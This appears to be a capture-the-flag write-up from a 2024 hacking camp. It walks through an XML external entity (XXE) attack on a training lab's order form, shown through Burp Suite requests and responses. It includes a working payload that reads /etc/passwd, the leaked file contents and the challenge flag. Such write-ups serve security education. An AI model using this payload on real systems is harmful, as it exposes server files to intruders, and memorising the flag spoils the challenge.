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<https://github.com/ndanilo8/PositiveHackCamp2024>

Description:

Find a way to read the flag from `/etc/passwd` file

Attacking

Lets make a dummy POST Request with Burp Proxy and send it over to repeter

The screenshot shows the Burp Suite interface with a POST request and its response.

Request:

```
1 POST /order.php HTTP/1.1
2 Host: web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
  Firefox/115.0
4 Accept: application/xml, text/xml, */*; q=0.01
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/xml
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 254
10 Origin: http://web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
11 DNT: 1
12 Connection: keep-alive
13 Referer: http://web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space/
14 Sec-GPC: 1
15
16 <?xml version="1.0" encoding="UTF-8"?>
17 <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
18 <order>
  <name>
    aaa
  </name>
  <email>
    12122@xcscsc.com
  </email>
  <phone>
    1213424
  </phone>
  <comment>
    &test;
  </comment>
```

Response:

```
1 HTTP/1.1 200 OK
2 Date: Tue, 13 Aug 2024 22:16:21 GMT
3 Content-Type: text/html; charset=UTF-8
4 Content-Length: 1
5 Connection: keep-alive
6 X-Powered-By: PHP/7.4.33
7
8 6
```

with this simple payload:

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
```

(and insert `&test;` into some random field)

```
POST /order.php HTTP/1.1
Host: web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
```

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<order><name>aaa</name><email>12122@xcscsc.com</email><phone>1213424</phone>
<comment>&test;</comment><productID>Pro</productID><price>15</price></order>
```

By then retrieving the `orderId` it generated (in my case it was `orderId 6`)

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET	/receipt.php?orderID=6	HTTP/1.1	584	<textarea	readonly	class="form-control" id="comment" name="comment" >
2	Host:	web.ytax4jpxm7rw6afyr2km.labs.cyber-ed.space		585	root:x:0:0:root:/root:/bin/bash		
3	User-Agent:	Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0		586	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin		
4	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8		587	bin:x:2:2:bin:/bin:/usr/sbin/nologin		
5	Accept-Language:	en-US,en;q=0.5		588	sys:x:3:3:sys:/dev:/usr/sbin/nologin		
6	Accept-Encoding:	gzip, deflate, br		589	sync:x:4:65534:sync:/bin:/bin/sync		
7	DNT:	1		590	games:x:5:60:games:/usr/games:/usr/sbin/nologin		
8	Connection:	keep-alive		591	man:x:6:12:man:/var/cache/man:/usr/sbin/nologin		
9	Upgrade-Insecure-Requests:	1		592	lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin		
10	Sec-GPC:	1		593	mail:x:8:8:mail:/var/mail:/usr/sbin/nologin		
11				594	news:x:9:9:news:/var/spool/news:/usr/sbin/nologin		
12				595	uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin		
				596	proxy:x:13:13:proxy:/bin:/usr/sbin/nologin		
				597	www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin		
				598	backup:x:34:34:backup:/var/backups:/usr/sbin/nologin		
				599	list:x:38:38:Mailing List		
				600	Manager:/var/list:/usr/sbin/nologin		
				601	irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin		
				602	gnats:x:41:41:Gnats Bug-Reporting System		
				603	(admin)/var/lib/gnats:/usr/sbin/nologin		
				604	nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin		
				605	_apt:x:100:65534:./nonexistent:/usr/sbin/nologin		
				606	f1ag{51012268c4d202b580331898b0355df9}		
					</textarea>		
					</p>		
					<button type="button" data-toggle="modal" data-target="#exampleModal" class="btn btn-lg btn-block btn-outline-primary" onclick="window.location.href='/index.php';">		
					Go to main page		